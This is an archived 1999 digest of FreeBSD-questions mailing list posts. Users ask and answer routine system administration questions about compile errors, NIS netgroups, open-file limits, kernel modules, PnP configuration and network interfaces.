/usr/include/sys/socket.h:293: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:297: parse error before `}'
/usr/include/sys/socket.h:314: parse error before `pid_t'
/usr/include/sys/socket.h:314: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:315: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:316: parse error before `cmcred_euid'
/usr/include/sys/socket.h:316: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:317: parse error before `cmcred_gid'
/usr/include/sys/socket.h:317: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:319: parse error before `cmcred_groups'
/usr/include/sys/socket.h:319: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:320: parse error before `}'
/usr/include/sys/socket.h:343: parse error before `u_short'
/usr/include/sys/socket.h:343: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:345: parse error before `}'
/usr/include/sys/socket.h:351: parse error before `caddr_t'
/usr/include/sys/socket.h:351: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:355: parse error before `msg_accrights'
/usr/include/sys/socket.h:355: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:357: parse error before `}'
/usr/include/sys/socket.h:388: parse error before `recv'
/usr/include/sys/socket.h:388: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:389: parse error before `recvfrom'
/usr/include/sys/socket.h:389: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:390: parse error before `recvmsg'
/usr/include/sys/socket.h:390: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:391: parse error before `send'
/usr/include/sys/socket.h:391: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:392: parse error before `sendto'
/usr/include/sys/socket.h:393: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:394: parse error before `sendmsg'
/usr/include/sys/socket.h:394: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:395: parse error before `off_t'
In file included from gdict.c:17:
/usr/include/arpa/inet.h:89: warning: parameter has incomplete type
/usr/include/arpa/inet.h:92: warning: parameter has incomplete type
/usr/include/arpa/inet.h:96: warning: parameter has incomplete type
gdict.c: In function `lookup':
gdict.c:153: warning: passing arg 2 of `connect' from incompatible pointer
type
*** Error code 1

Stop.



Are these actual errors in the system include files?


------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org






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From owner-freebsd-questions  Sun Mar 21 14:40:50 1999
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To: freebsd-questions@FreeBSD.ORG, patseal@hyperhost.net
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Try including 

  <sys/types.h>

before including <sockets.h>


	- Dave R. -



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From owner-freebsd-questions  Sun Mar 21 15: 2:52 1999
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903212302.SAA05498@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Why are NIS netgroups  ignored...
In-Reply-To: <XFMail.990321173246.jobaldwi@vt.edu> from John Baldwin at "Mar 21, 99 05:32:46 pm"
To: jobaldwi@vt.edu (John Baldwin)
Date: Sun, 21 Mar 1999 18:02:29 -0500 (EST)
Cc: cjclark@home.com, freebsd-questions@FreeBSD.ORG, jobaldwi@vt.edu
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John Baldwin wrote,
> 
> On 21-Mar-99 Crist J. Clark wrote:
> > John Baldwin wrote,
> >> I administrate a lab of about 80 machines running BSD and Digital UNIX.  To
> >> make our lives easier, we run NIS.  However, I can't get FreeBSD to
> >> acknowledge
> >> NIS netgroups in config files, specifically .rhosts or
> > /etc/login.access.
> > 
> > Have you read the FreeBSD manpage for 'netgroup?' Specifically, the
> > 'NIS/YP INTERACTION' section?
> > -- 
> > Crist J. Clark                           cjclark@home.com
> 
> Yes, and there is no /etc/netgroup file on the machine, so it should be pulling
> all netgroup stuff from NIS, if I read the manpages correctly.  Thanks for your
> response.

OK, next questions. ;) Does,

% ypcat -x

Show that the netgroup maps are being transfered to the machine in
question?

Or maybe try a /etc/netgroup file with a '+,' if you are getting the
map, but it is not being used.

Do Digital UNIX and FreeBSD use the same format for netgroups (the
'COMPATIBILTY' note on the manpage)?
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 15:13:54 1999
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From: John Baldwin <jobaldwi@vt.edu>
To: cjclark@home.com
Subject: Re: Why are NIS netgroups  ignored...
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On 21-Mar-99 Crist J. Clark wrote:
> John Baldwin wrote,
> OK, next questions. ;) Does,
> 
> % ypcat -x
> 
> Show that the netgroup maps are being transfered to the machine in
> question?

Apparently not:

> ypcat -x
Use "passwd" for "passwd.byname"
Use "master.passwd" for "master.passwd.byname"
Use "group" for "group.byname"
Use "networks" for "networks.byaddr"
Use "hosts" for "hosts.byaddr"
Use "protocols" for "protocols.bynumber"
Use "services" for "services.byname"
Use "aliases" for "mail.aliases"
Use "ethers" for "ethers.byname"

> Or maybe try a /etc/netgroup file with a '+,' if you are getting the
> map, but it is not being used.

Tried this, but it didn't work. :(

> Do Digital UNIX and FreeBSD use the same format for netgroups (the
> 'COMPATIBILTY' note on the manpage)?

Yes.  In fact, this actual machine is the master NIS server.  There is one
Digital UNIX slave server, and the Digital UNIX clients insist on using it as
their server, while the FreeBSD clients insist on using the master server as
their server.  I can use ypcat and ypmatch with the netgroup map just fine
however.

> -- 
> Crist J. Clark                           cjclark@home.com

---

John Baldwin <jobaldwi@vt.edu> -- http://members.freedomnet.com/~jbaldwin/
PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc



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From owner-freebsd-questions  Sun Mar 21 15:36:45 1999
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Date: Mon, 22 Mar 1999 10:06:17 +1030
From: Greg Lehey <grog@lemis.com>
To: Dave Rossow <dave@dreksys.com>, freebsd-questions@FreeBSD.ORG
Subject: Too many open files (was: freebsd won't go multi-user)
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On Sunday, 21 March 1999 at  3:04:56 -0800, Dave Rossow wrote:
> Hi, can anyone help point me in the right direction?  I'm having a problem
> using FreeBSD 3.1.  I installed from the latest CDRom using the 'impatient'
> method.  I've setup two systems, one as a database server, the other as a
> webserver.  Neither are as yet in active production use yet.  The install
> worked fine and everything seemed fine.  However, sometime shortly after I
> started installing various software packages I started getting syslog
> message like the following:
>
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data last message repeated 12 times

This message should be self-explanatory.  It doesn't answer the
question "which files are open?", of course.  You could use lsof
(Ports Collection) for that.

> I get the same messages on both systems and after trying to reboot one of
> them, I find it will now only boot into single user mode.

What happens when you try?

> Is this some kind of blocking factor problem?

No.

> Do I need to re-create the filesystems or something?

No.

> Anybody experienced this before?

Yes.

> Any help would be greatly appreciated.

The simple answer is to say "rebuild your kernel with a higher
MAXUSERS".  100 is a good value; there are problems if you go beyond
about 250 in 3.1, but they'll be gone in 4.0.  MAXUSERS is a rather
silly name for parameters which influence the system globally,
including the maximum number of open files.

Having said that, you might find that your problem lies elsewhere.
You won't know that until you know what files are open (see lsof
above) and whether they should be open.  I'd guess that if you're
using this system as a database server, they probably should be open.

Greg
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From owner-freebsd-questions  Sun Mar 21 15:36:50 1999
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I wand to change the operating system from Ultrix to FreeBSD.

What I will need and from which ftp site I can download it?
I'm not familiar with BSD or installing UNIX on a MIPS.

Tx Juergen

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Ultrix to FreeBSD.</FONT></DIV>
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<DIV><FONT color=3D#000000 size=3D2>What I will need and from which ftp =
site I can=20
download it?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>I'm not familiar with BSD or =
installing UNIX on=20
a MIPS.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
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From owner-freebsd-questions  Sun Mar 21 15:37:34 1999
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Date: Sun, 21 Mar 1999 23:31:56 +0000
From: Mark Ovens <marko@uk.radan.com>
To: questions@freebsd.org
Subject: LKMs and 3.1-Release kernel
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Since u/g to 3.1-R (from the CD) I can't get the NTFS driver to
load. These are the messages I get:

	# mount /ntfs
	ld: /kernel: malformed input file (not rel or archive)
	modload: /usr/bin/ld: return code 1
	ntfs: vfsload(ntfs): Operation not permitted
	# 

	# file /lkm/ntfs_mod.o
	/lkm/ntfs_mod.o: FreeBSD/i386 object not stripped
	#

I've used the 3.x source (ntfs-0.16beta.tgz) from
http://iclub.nsu.ru/~semen/ntfs and built according to the
instructions. I note from this website that the source was for 3.0
and that it has now been added to the -CURRENT tree and that no
more files will be posted on the website.

Am I right in thinking that the error messages I'm seeing are
aout/ELF related? I've built the kernel with ``options  LKM''.

Does anyone have a solution to this problem? (cvsup'ing -CURRENT
isn't really an option).

Thanks.

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com



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From owner-freebsd-questions  Sun Mar 21 15:42:23 1999
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Date: Sun, 21 Mar 1999 23:38:19 +0000
From: Mark Ovens <marko@uk.radan.com>
To: Tomer Weller <spud@i.am>
Cc: freebsd-questions@freebsd.org
Subject: Re: user config
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On Sun, Mar 21, 1999 at 04:36:53PM +0200, Tomer Weller wrote:
> how do i make a user configuration of the kernel stay ?
> i user 3.1 with a PnP sound/modem and every time i reboot
> i have to enter the pnp commands cuz they dont remain,
> (UNLIKE 2.2.7-RELEASE). what do i do to keep'em ?
> 

add the following to /boot/loader.rc

	load /kernel
	load -t userconfig_script /kernel.config
	autoboot

and add your config settings to /kernel.config. This is mine for
example

	disable sio3
	pnp 1 0 os enable port0 0x220 port1 0x530 port2 0x388
	pnp 1 0 port3 0x370 irq0 5 drq0 1 drq1 5
	quit

HTH

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com



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From owner-freebsd-questions  Sun Mar 21 15:52:14 1999
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Subject: Re: Why are NIS netgroups  ignored...
In-Reply-To: <XFMail.990321181326.jobaldwi@vt.edu> from John Baldwin at "Mar 21, 99 06:13:26 pm"
To: jobaldwi@vt.edu (John Baldwin)
Date: Sun, 21 Mar 1999 18:51:54 -0500 (EST)
Cc: cjclark@home.com, freebsd-questions@FreeBSD.ORG
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John Baldwin wrote,
> On 21-Mar-99 Crist J. Clark wrote:
> > John Baldwin wrote,
> > OK, next questions. ;) Does,
> > 
> > % ypcat -x
> > 
> > Show that the netgroup maps are being transfered to the machine in
> > question?
> 
> Apparently not:
> 
> > ypcat -x
> Use "passwd" for "passwd.byname"
> Use "master.passwd" for "master.passwd.byname"
> Use "group" for "group.byname"
> Use "networks" for "networks.byaddr"
> Use "hosts" for "hosts.byaddr"
> Use "protocols" for "protocols.bynumber"
> Use "services" for "services.byname"
> Use "aliases" for "mail.aliases"
> Use "ethers" for "ethers.byname"

OK, then I am starting to think it is a server problem, not the
client. The server does not seem to be pushing the netgroup
maps. But...

> > Do Digital UNIX and FreeBSD use the same format for netgroups (the
> > 'COMPATIBILTY' note on the manpage)?
> 
> Yes.  In fact, this actual machine is the master NIS server.  There is one
> Digital UNIX slave server, and the Digital UNIX clients insist on using it as
> their server, while the FreeBSD clients insist on using the master server as
> their server.  I can use ypcat and ypmatch with the netgroup map just fine
> however.

Now I am really confused. The FreeBSD machine is the master, but it
does not have the /etc/netgroup file? Which machines have which files,
and on which machine do the ypcat and ypmatch commands work? And on
which machines do they not work? Are all of these machines on the
same LAN? Do you have a master and slave on the same LAN?

Sorry if I missed understood something somewhere.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 15:54:41 1999
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Hi.

I'm replacing my FreeBSD 2.2.8-Stable box, and need to move the contents 
of one hardrive onto another.

The current drive is a 500 MB ide drive, and new drive will be a 1.2 GB 
ide drive.  I need to move / and /usr from the old drive onto the new 
drive without losing any files, and preserving permissions, etc.  The 
slices on the new drive will be different sizes than on the old drive.

What is the best way to go about doing this?

Please reply to me.  I am not subscribed to the list.

Thanks.

Jeff Hamilton



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From owner-freebsd-questions  Sun Mar 21 15:56:22 1999
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903212355.SAA05680@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Too many open files (was: freebsd won't go multi-user)
In-Reply-To: <19990322100617.Z429@lemis.com> from Greg Lehey at "Mar 22, 99 10:06:17 am"
To: grog@lemis.com (Greg Lehey)
Date: Sun, 21 Mar 1999 18:55:53 -0500 (EST)
Cc: dave@dreksys.com, freebsd-questions@FreeBSD.ORG
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Greg Lehey wrote,
> On Sunday, 21 March 1999 at  3:04:56 -0800, Dave Rossow wrote:
> > Hi, can anyone help point me in the right direction?  I'm having a problem
> > using FreeBSD 3.1.  I installed from the latest CDRom using the 'impatient'
> > method.  I've setup two systems, one as a database server, the other as a
> > webserver.  Neither are as yet in active production use yet.  The install
> > worked fine and everything seemed fine.  However, sometime shortly after I
> > started installing various software packages I started getting syslog
> > message like the following:
> >
> > Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> > Mar 21 02:00:24 data last message repeated 3 times
> > Mar 21 02:00:24 data /kernel: file: table is full
> > Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> > Mar 21 02:00:24 data last message repeated 3 times
> > Mar 21 02:00:24 data /kernel: file: table is full
> > Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> > Mar 21 02:00:24 data last message repeated 3 times
> > Mar 21 02:00:24 data /kernel: file: table is full
> > Mar 21 02:00:24 data last message repeated 12 times
> 
> This message should be self-explanatory.  It doesn't answer the
> question "which files are open?", of course.  You could use lsof
> (Ports Collection) for that.

fstat(1) should tell you what files are open. It comes with the
standard FreeBSD distribution.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 15:59:50 1999
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To: krispyos@ix.netcom.com
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Subject: Re: Printing and ppbus?
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From the information on this printer on HP's website, it looks like this is a
Windows-only printer.  It doesn't use the PCL or PostScript languages with which
you would be okay.

krispyos@ix.netcom.com wrote:

> Since we are on the topic, I was wondering if it is at all possible to get a HP
> 7xx series deskjet printer to work in FreeBSD. I know that a similar thread went

[snip]

- Peter Schwenk
- schwenk@voicenet.com



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From owner-freebsd-questions  Sun Mar 21 16: 2:46 1999
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Subject: Re: Printing and ppbus?
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Thanks, I'll try this.  After reading your reply, I re-installed 3.1 (I had
just got 2.2.8-R back on).

This is a bizarre problem.  It must not be universal because there aren't
that many complaints.

Michael Maxwell wrote:

> [snip]

> There's not much in the way of documentation there.  But anyhow, after
> having changed "net" to "tty", I was able to get it *mostly* working.

>
> [snip]

>
> --
>     Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
>        "American Justice: oxymoron.  William J. Clinton: moron."
>                                                     --M. Maxwell (1999)
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Sun Mar 21 16: 3:11 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903220002.TAA05714@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: FreeBSD & DEC Station 5000/133 (Ultrix)
In-Reply-To: <003d01be73f4$03b59980$1401000a@pentium-233> from =?ISO-8859-1?Q?J=FCrgen_Kiefer?= at "Mar 22, 99 00:39:07 am"
To: Kiefer-Endingen@t-online.de (Jürgen Kiefer)
Date: Sun, 21 Mar 1999 19:02:50 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG
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Jürgen Kiefer wrote,
> I wand to change the operating system from Ultrix to FreeBSD.

Great, get your hands on a PC...

> What I will need and from which ftp site I can download it?
> I'm not familiar with BSD or installing UNIX on a MIPS.

FreeBSD only supports Intel i386-type processors and the
Alpha.

If you are interested in a BSD based system, possibly try NetBSD.

Sorry, but good luck.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 16:11:42 1999
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Date: Sun, 21 Mar 1999 23:44:52 +0200
From: Iani Brankov <ian@bulinfo.net>
Organization: ok systems
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To: Dave Rossow <dave@dreksys.com>
Cc: Freebsd-questions <freebsd-questions@freebsd.org>
Subject: Re: freebsd won't go multi-user
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Dave Rossow wrote:
> 
> Hi, can anyone help point me in the right direction?  I'm having a problem
> using FreeBSD 3.1.  I installed from the latest CDRom using the 'impatient'
> method.  I've setup two systems, one as a database server, the other as a
> webserver.  Neither are as yet in active production use yet.  The install
> worked fine and everything seemed fine.  However, sometime shortly after I
> started installing various software packages I started getting syslog
> message like the following:
> 
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data syslogd: /var/run/utmp: Too many open files in system
> Mar 21 02:00:24 data last message repeated 3 times
> Mar 21 02:00:24 data /kernel: file: table is full
> Mar 21 02:00:24 data last message repeated 12 times
> 
> I get the same messages on both systems and after trying to reboot one of
> them, I find it will now only boot into single user mode.  Is this some kind
> of blocking factor problem?  Do I need to re-create the filesystems or
> something?  Anybody experienced this before?  Any help would be greatly
> appreciated.
> 

I've got similar messages preventing multi-user mode after making the world from
3.0 to 3.1.
The problem was recursive calling of the /etc/rc.conf file.

In 3.1 the /etc/rc.conf file must contain only the needed differences from
/etc/defaults/rc.conf (not the whole file). If your /etc/rc.conf file is from an
older version (<=3.0) it may cause a similar problem.

--iani


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From owner-freebsd-questions  Sun Mar 21 16:43: 2 1999
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Date: Sun, 21 Mar 1999 19:42:38 -0500 (EST)
From: John Baldwin <jobaldwi@vt.edu>
To: cjclark@home.com
Subject: Re: Why are NIS netgroups  ignored...
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On 21-Mar-99 Crist J. Clark wrote:
> John Baldwin wrote,
>> On 21-Mar-99 Crist J. Clark wrote:
>> > John Baldwin wrote,
>> > OK, next questions. ;) Does,
>> > 
>> > % ypcat -x
>> > 
>> > Show that the netgroup maps are being transfered to the machine in
>> > question?
>> 
>> Apparently not:
>> 
>> > ypcat -x
>> Use "passwd" for "passwd.byname"
>> Use "master.passwd" for "master.passwd.byname"
>> Use "group" for "group.byname"
>> Use "networks" for "networks.byaddr"
>> Use "hosts" for "hosts.byaddr"
>> Use "protocols" for "protocols.bynumber"
>> Use "services" for "services.byname"
>> Use "aliases" for "mail.aliases"
>> Use "ethers" for "ethers.byname"
> 
> OK, then I am starting to think it is a server problem, not the
> client. The server does not seem to be pushing the netgroup
> maps. But...

Well, then again, the netgroup map doesn't have a nickname, so it wouldn't be
listed in ypcat -x (which only lists nicknames).

>> > Do Digital UNIX and FreeBSD use the same format for netgroups (the
>> > 'COMPATIBILTY' note on the manpage)?
>> 
>> Yes.  In fact, this actual machine is the master NIS server.  There is one
>> Digital UNIX slave server, and the Digital UNIX clients insist on using it
>> as
>> their server, while the FreeBSD clients insist on using the master server as
>> their server.  I can use ypcat and ypmatch with the netgroup map just fine
>> however.
> 
> Now I am really confused. The FreeBSD machine is the master, but it
> does not have the /etc/netgroup file? Which machines have which files,
> and on which machine do the ypcat and ypmatch commands work? And on
> which machines do they not work? Are all of these machines on the
> same LAN? Do you have a master and slave on the same LAN?

The FreeBSD machine is the master server, and does not have a local
/etc/netgroup file.  There is a /var/yp/netgroup file whose database is stored
in the NIS maps in /var/yp/<domainname>.  The ypcat and ypmatch work on all
machines, including the FreeBSD master server.  I should have also said that
neither the FreeBSD client workstations nor the Digital UNIX workstations honor
netgroups in .rhosts.  However, the Digital UNIX servers do honor netgroups in
/etc/exports.  All of the machines in question are on the same LAN, including
both the FreeBSD master, and a Digital UNIX slave.  It is as if the netgroup
map is honored some times but not others.  Hope I haven't confused you more and
thanks for sticking it out this far.

> Sorry if I missed understood something somewhere.
> -- 
> Crist J. Clark                           cjclark@home.com

---

John Baldwin <jobaldwi@vt.edu> -- http://members.freedomnet.com/~jbaldwin/
PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc



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From owner-freebsd-questions  Sun Mar 21 16:59: 2 1999
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Date: Sun, 21 Mar 1999 17:49:13 -0700
From: Peter J Jones <p@dancris.com>
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To: Kevin Weiss/AUS/Lotus <Kevin_Weiss/AUS/Lotus@lotus.com>,
	"freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: Re: more fstab entries please...
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Kevin Weiss/AUS/Lotus wrote:

> Could someone...anyone who this applies to...please sent me a copy of their
> fstab entries with an
> internal IOMEGA IDE zip drive supported.  FreeSD still won't use mine (but
> it is recognized upon
> bootup).  Someone sent to me a copy of theirs last week, but I still
> couldn't get the zip drive to work.
> I ONLY have FreeBSD on this disk...no other OS. I am trying to get the
> mount /zip command line to
> work.
>
> PS - maybe I'm using the wrong command line, but I've also tried mount
> /wfd0, and
> mount /dev/wfd0 /zip.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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check out http://www.dancris.com/~p/software/ide_zip.html

I just did this not to long ago. At the bottom is my fstab entries.

Peter



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From owner-freebsd-questions  Sun Mar 21 17:23:37 1999
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Date: Sun, 21 Mar 1999 21:18:16 -0400
From: Julian Bolivar <jbolivar@cantv.net>
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Dear Srs.

I have a Red Hat Motif 2.1 for Linux, this distribution can run in
FreeBSD?

Thanks and Regards

Julian Bolivar



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From owner-freebsd-questions  Sun Mar 21 17:41:37 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: "freebsd-questions@FreeBSD.org" <freebsd-questions@FreeBSD.org>,
	"'willd@telusplanet.net'" <willd@telusplanet.net>
Subject: RE: Kernel NIC error
Date: Mon, 22 Mar 1999 07:11:07 +0530
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This is not an error,but an indication perfectly in match with the type of actions you are trying to run on Your box.Do not worry:)))))))

----------
From: 	Will Downs
Sent: 	Friday, March 19, 1999 11:09 PM
To: 	freebsd-questions@FreeBSD.org
Subject: 	Kernel NIC error


I noticed in my syslogs the following error:

Mar 19 10:28:49 ..... /kernel: ed0: promiscuous mode enabled
Mar 19 10:28:57 ..... /kernel: ed0: promiscuous mode enabled

I have no idea what It could mean or how to fix it.

I have noticed, that the error is logged when I run trafshow.

any ideas on how to fix this ?


Will Downs
willd@telusplanet.net





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From owner-freebsd-questions  Sun Mar 21 17:47:15 1999
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Subject: stalling cdrom
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I just got FreeBSD 3.1 from Walnut Creek, the Complete FreeBSD hasn't 
come yet. So, I've been reading from online faqs, but the root of the 
problem I don't think comes from my ignorance of being new to unix.

After I've told setup what to install, setup the partitions, etc, it 
begins downloading the files from the cd. Midway through the first set, 
the cdrom hangs and wont copy files any longer. This has happened over 
and over, and I let it rest the night thinking perhaps it was overheating 
(its a scsi system, 6x plextor caddy, id 5). 

Each time it stalls its around 40%, sometimes earlier or later. When it tries
to reinitallize, it usually wont even start, or if it will it will only go
a few percentage points. 

I tried putting it in my yamaha cdr (6x2x2x, id 4), and it will boot off 
the cd fine, but when I tell it to copy from cd at the same step, it says 
there is no valid cdrom with a cd in it. The same would happen on RH 
Linux, if I remember correctly. I've tried leaving the kernal as is, and 
removing the unnecessary drivers in visual mode. Any ideas?

BTW, I've been doing this all from booting the cdrom.

System:

P-200 + 64mb ram
Adaptec 2940UW
IBM (id 1), Seagate (id 2)
id3 left open
Yamaha cdr (id 4), Plextor (id 5)
no ide (turned off in bios)
standard misc devices (sound, modem, etc)


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From owner-freebsd-questions  Sun Mar 21 17:57: 9 1999
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From: Jack James <indyjj@indy.net>
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Hi,
I like the documentation and site.
I have been a DOS and Windows operator, following an EFI 332 site at
Ohio State. They are using Red Hat RPM files and RTEMS.  A friend at
AT&T, Bill Kessler is using FreeBSD and recommended it for speed and
stability.  I want to check if my machine will boot Linux and can't find
files.
Please include kern.flp and mfsroot.flp on this site.

Questions:
1.  Will Freebsd run RPM format files?
2.   Is there a DOS  emulator for Linux?
3.  Does FreeBSD support Motorala compilers?

Thanks for any help
Jack James
indyjj@indy.net



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From owner-freebsd-questions  Sun Mar 21 18: 4:39 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>,
	"'Evren Yurtesen'" <yurtesen@ispro.net.tr>
Subject: RE: linux drivers on FreeBSD ?
Date: Mon, 22 Mar 1999 07:33:32 +0530
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Not sure if any linux driver would run on freebsd.But yes there are loadabel kernel modules in FreeBSD also.See /boot/lkm for the list.

----------
From: 	Evren Yurtesen
Sent: 	Saturday, March 20, 1999 3:21 PM
To: 	freebsd-questions@FreeBSD.ORG
Subject: 	linux drivers on FreeBSD ?

is there a chance to use any linux drivers on FreeBSD?
if they are loadable modules and binaries?

Evren
thanks



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From owner-freebsd-questions  Sun Mar 21 18:21: 1 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: Hardeep Parmar <hardeep.parmar@tatainfotech.com>,
	"questions@freebsd.org" <questions@freebsd.org>,
	"'Leonard C.'" <leonardc9@usa.net>
Subject: RE: BPF not working?
Date: Mon, 22 Mar 1999 07:49:44 +0530
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It appears you shall like to run tcpdump on ed0(your internel Lan =
NIC).You say you have arpwatch running simulataneously on ed1.
If what i assume is true try tcpdump -i ed0 and check if ed0 lands =
itself up in promiscious mode(Note you should have /dev/bpf0 and =
/dev/bpf1already).

----------
From: 	Leonard C.
Sent: 	Saturday, March 20, 1999 7:00 AM
To: 	Hardeep Parmar; questions@freebsd.org
Subject: 	RE: BPF not working?

At 03:39 AM 3/19/99 , you wrote:
>Pls check wether the command tcpdump shows card in promiscious mode.
>If it does show itself,then check if you are hooked on to switched=20
>network.Switch allows only the packet destined for your box to reach =
you=20
>along with broadcast packets. I am reasonnably convinced that it is =
'The'=20
>problem with your box. Let me know if it is the same problem.
>Bye

icarus# ifconfig -a
ed0: flags=3D8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 10.0.0.1 netmask 0xff000000 broadcast 10.255.255.255
        ether 00:80:c8:0a:2f:c3
ed1: flags=3D8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu =
1500
        inet xx.xx.xx.xx netmask 0xffffff00 broadcast xx.xx.xx.xx
        atalk 4183.139 range 4183-4183 phase 2 broadcast 0.255
        ether 00:80:ad:73:eb:fe
..

ed1 is definately in promiscous mode from ifconfig.  I've already got
arpwatch running on ed1.  It shouldn't be, but could that be the =
problem?
I have 4 BPF devices in the kernel.  Also the network is definately not
switched at all since we just use hubs here, but also from the large =
amount
if network activity and the number of packets rejected as input errors:

icarus# netstat -i
Name  Mtu   Network       Address            Ipkts Ierrs    Opkts Oerrs  =
Coll
<sic>
ed1   1500  169.229.87/24 icarus          1118142890 827793614 16133140
817 12
65221

Would arpwatch be the problem?

Leonard

--=20
Support the Blue Ribbon Campaign for free speech online
http://www.eff.org/blueribbon.html
"Those who will not reason perish in the act.=20
Those who will not act, perish for that reason." - W. H. Auden=20




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From owner-freebsd-questions  Sun Mar 21 18:29: 8 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>,
	"'Greg'" <greg@ontechlive.com>
Cc: "rob@deepbluesea.com" <rob@deepbluesea.com>
Subject: RE: /proc directory 100% full. BSD help!!
Date: Mon, 22 Mar 1999 07:57:22 +0530
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?proc 100% is not the problem.It is elsewhere

----------
From: 	Greg
Sent: 	Saturday, March 20, 1999 5:19 AM
To: 	freebsd-questions@FreeBSD.ORG
Cc: 	rob@deepbluesea.com
Subject: 	/proc directory 100% full. BSD help!!

I am having problems with qpopper login on and making a temp file 
.username.pop. It looks like the /proc is 100% full when I issue a 'df'
command.

I am a BSD newbie.

I would try newsgroups and web help BUT I am not sure the topics that this
problem is covered under [filesystems? Networking? inetd? qpopper?
/etc/services? can I increase the partition size?]

Is this a major fix?

Thankfully waiting any help you can provide...

Greg


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From owner-freebsd-questions  Sun Mar 21 18:33:53 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: "questions@FreeBSD.ORG" <questions@FreeBSD.ORG>,
	"'charon@freethought.org'" <charon@freethought.org>
Subject: RE: commands to execute programs
Date: Mon, 22 Mar 1999 08:02:18 +0530
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Actually all installaed packages are written into directory e.g =
/var/db/pkg/product_name.This directory has files
+CONENTS +DESC..........and so on
Go to the directory do cat * |more.You will get all the relevent info =
about the product the relative path in which it is installed and so on

----------
From: 	charon@freethought.org
Sent: 	Saturday, March 20, 1999 4:55 AM
To: 	questions@FreeBSD.ORG
Subject: 	commands to execute programs

Is there any way to find out what the command for a program (installed =
from
the ports) will be without guessing?  For example, I installed Netscape =
and
then typed the command 'netscape' and it executed (a 'which netscape' =
told
me where the file was).  However, I installed x-files and can't figure =
out
the command ('which x-files' and 'which xfiles' fail.  A 'which files'
finds something, but I don't know what program it is - it doesn't =
identify
itself when executed, and I also installed filerunner and can't find =
that -
'which filerunner' comes up empty.).

